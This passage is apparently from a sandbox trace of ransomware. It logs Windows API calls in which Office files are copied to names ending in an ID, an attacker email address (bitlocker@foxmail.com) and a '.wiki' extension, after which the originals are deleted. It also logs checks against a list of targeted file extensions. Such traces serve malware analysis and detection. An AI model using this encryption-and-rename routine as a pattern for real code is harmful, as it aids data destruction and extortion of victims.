lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0191.220] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.220] WriteFile (in: hFile=0x220, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0191.220] SetEndOfFile (hFile=0x220) returned 1 [0191.220] CloseHandle (hObject=0x220) returned 1 [0191.220] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.220] SetEndOfFile (hFile=0x1d0) returned 1 [0191.242] CloseHandle (hObject=0x1d0) returned 1 [0191.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.431] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll")) returned 1 [0191.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0191.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0191.432] lstrlenW (lpString=".doc") returned 4 [0191.432] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0191.432] lstrlenW (lpString=".docx") returned 5 [0191.432] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0191.432] lstrlenW (lpString=".pdf") returned 4 [0191.432] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0191.432] lstrlenW (lpString=".xls") returned 4 [0191.432] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0191.432] lstrlenW (lpString=".xlsx") returned 5 [0191.432] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0191.432] lstrlenW (lpString=".ppt") returned 4 [0191.432] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0191.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0191.440] lstrlenW (lpString=".zip") returned 4 [0191.440] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0191.440] lstrlenW (lpString=".rar") returned 4 [0191.440] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0191.440] lstrlenW (lpString=".bz2") returned 4 [0191.440] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0191.458] lstrlenW (lpString=".7z") returned 3 [0191.458] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0191.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0191.458] lstrlenW (lpString=".dbf") returned 4 [0191.458] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0191.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0191.458] lstrlenW (lpString=".1cd") returned 4 [0191.458] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0191.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0191.458] lstrlenW (lpString=".jpg") returned 4 [0191.458] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0191.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0191.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0191.458] lstrlenW (lpString=".doc") returned 4 [0191.458] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0191.458] lstrlenW (lpString=".docx") returned 5 [0191.458] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0191.458] lstrlenW (lpString=".pdf") returned 4 [0191.458] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0191.458] lstrlenW (lpString=".xls") returned 4 [0191.458] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0191.458] lstrlenW (lpString=".xlsx") returned 5 [0191.458] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0191.461] lstrlenW (lpString=".ppt") returned 4 [0191.462] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0191.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0191.462] lstrlenW (lpString=".zip") returned 4 [0191.462] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0191.462] lstrlenW (lpString=".rar") returned 4 [0191.462] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0191.462] lstrlenW (lpString=".bz2") returned 4 [0191.462] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0191.462] lstrlenW (lpString=".7z") returned 3 [0191.462] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0191.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0191.462] lstrlenW (lpString=".dbf") returned 4 [0191.462] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0191.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0191.462] lstrlenW (lpString=".1cd") returned 4 [0191.462] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0191.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0191.462] lstrlenW (lpString=".jpg") returned 4 [0191.462] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0191.462] lstrcmpiW (lpString1=".xrm-ms", lpString2=".wiki") returned 1 [0191.462] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0191.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.463] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=715834) returned 1 [0191.463] CloseHandle (hObject=0x1f4) returned 1 [0191.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0191.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.463] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.463] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.464] GetLastError () returned 0x0 [0191.464] ReadFile (in: hFile=0x1f4, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0191.689] WriteFile (in: hFile=0x1dc, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0191.702] ReadFile (in: hFile=0x1f4, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.702] WriteFile (in: hFile=0x1dc, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x104, lpOverlapped=0x0) returned 1 [0191.702] SetEndOfFile (hFile=0x1dc) returned 1 [0191.702] CloseHandle (hObject=0x1dc) returned 1 [0191.702] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.702] SetEndOfFile (hFile=0x1f4) returned 1 [0191.708] CloseHandle (hObject=0x1f4) returned 1 [0191.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.708] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1 [0191.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0191.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0191.708] lstrlenW (lpString=".doc") returned 4 [0191.708] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0191.708] lstrlenW (lpString=".docx") returned 5 [0191.708] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0191.708] lstrlenW (lpString=".pdf") returned 4 [0191.708] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0191.708] lstrlenW (lpString=".xls") returned 4 [0191.708] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0191.934] lstrlenW (lpString=".xlsx") returned 5 [0191.934] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0191.934] lstrlenW (lpString=".ppt") returned 4 [0191.934] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0191.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0191.934] lstrlenW (lpString=".zip") returned 4 [0191.934] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0191.934] lstrlenW (lpString=".rar") returned 4 [0191.934] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0191.934] lstrlenW (lpString=".bz2") returned 4 [0191.934] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0191.934] lstrlenW (lpString=".7z") returned 3 [0191.934] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0191.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0191.934] lstrlenW (lpString=".dbf") returned 4 [0191.934] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0191.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0191.934] lstrlenW (lpString=".1cd") returned 4 [0191.934] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0191.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0191.934] lstrlenW (lpString=".jpg") returned 4 [0191.934] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0191.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0191.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0191.934] lstrlenW (lpString=".doc") returned 4 [0191.934] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0191.934] lstrlenW (lpString=".docx") returned 5 [0191.934] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0191.934] lstrlenW (lpString=".pdf") returned 4 [0191.934] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0191.934] lstrlenW (lpString=".xls") returned 4 [0191.935] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0191.935] lstrlenW (lpString=".xlsx") returned 5 [0191.935] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0191.935] lstrlenW (lpString=".ppt") returned 4 [0191.935] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0191.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0191.935] lstrlenW (lpString=".zip") returned 4 [0191.935] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0191.935] lstrlenW (lpString=".rar") returned 4 [0191.935] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0191.935] lstrlenW (lpString=".bz2") returned 4 [0191.935] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0191.935] lstrlenW (lpString=".7z") returned 3 [0191.935] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0191.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0191.935] lstrlenW (lpString=".dbf") returned 4 [0191.935] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0191.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0191.935] lstrlenW (lpString=".1cd") returned 4 [0191.935] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0191.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0191.935] lstrlenW (lpString=".jpg") returned 4 [0191.935] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0191.935] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0191.935] lstrlenW (lpString="pkeyconfig.companion.dll") returned 24 [0191.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.075] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=15736) returned 1 [0192.075] CloseHandle (hObject=0x220) returned 1 [0192.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0192.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.076] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.076] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0192.139] GetLastError () returned 0x0 [0192.139] ReadFile (in: hFile=0x220, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x3d78, lpOverlapped=0x0) returned 1 [0192.167] WriteFile (in: hFile=0x200, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0192.168] ReadFile (in: hFile=0x220, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.168] WriteFile (in: hFile=0x200, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x104, lpOverlapped=0x0) returned 1 [0192.168] SetEndOfFile (hFile=0x200) returned 1 [0192.168] CloseHandle (hObject=0x200) returned 1 [0192.168] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.168] SetEndOfFile (hFile=0x220) returned 1 [0192.169] CloseHandle (hObject=0x220) returned 1 [0192.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.169] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 1 [0192.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0192.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0192.170] lstrlenW (lpString=".doc") returned 4 [0192.170] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0192.170] lstrlenW (lpString=".docx") returned 5 [0192.170] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0192.170] lstrlenW (lpString=".pdf") returned 4 [0192.170] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0192.170] lstrlenW (lpString=".xls") returned 4 [0192.170] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0192.170] lstrlenW (lpString=".xlsx") returned 5 [0192.170] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0192.170] lstrlenW (lpString=".ppt") returned 4 [0192.170] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0192.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0192.170] lstrlenW (lpString=".zip") returned 4 [0192.170] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0192.170] lstrlenW (lpString=".rar") returned 4 [0192.170] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0192.170] lstrlenW (lpString=".bz2") returned 4 [0192.170] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0192.170] lstrlenW (lpString=".7z") returned 3 [0192.170] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0192.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0192.170] lstrlenW (lpString=".dbf") returned 4 [0192.170] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0192.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0192.170] lstrlenW (lpString=".1cd") returned 4 [0192.171] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0192.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0192.171] lstrlenW (lpString=".jpg") returned 4 [0192.171] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0192.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0192.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0192.171] lstrlenW (lpString=".doc") returned 4 [0192.171] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0192.171] lstrlenW (lpString=".docx") returned 5 [0192.171] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0192.171] lstrlenW (lpString=".pdf") returned 4 [0192.171] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0192.171] lstrlenW (lpString=".xls") returned 4 [0192.171] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0192.171] lstrlenW (lpString=".xlsx") returned 5 [0192.171] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0192.171] lstrlenW (lpString=".ppt") returned 4 [0192.171] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0192.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0192.171] lstrlenW (lpString=".zip") returned 4 [0192.171] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0192.171] lstrlenW (lpString=".rar") returned 4 [0192.171] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0192.171] lstrlenW (lpString=".bz2") returned 4 [0192.171] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0192.171] lstrlenW (lpString=".7z") returned 3 [0192.171] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0192.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0192.171] lstrlenW (lpString=".dbf") returned 4 [0192.171] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0192.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0192.172] lstrlenW (lpString=".1cd") returned 4 [0192.172] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0192.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0192.172] lstrlenW (lpString=".jpg") returned 4 [0192.172] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0192.172] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0192.172] lstrlenW (lpString="OFFREL.DLL") returned 10 [0192.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.172] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=9568) returned 1 [0192.172] CloseHandle (hObject=0x220) returned 1 [0192.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll")) returned 0x20 [0192.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.173] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.173] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" 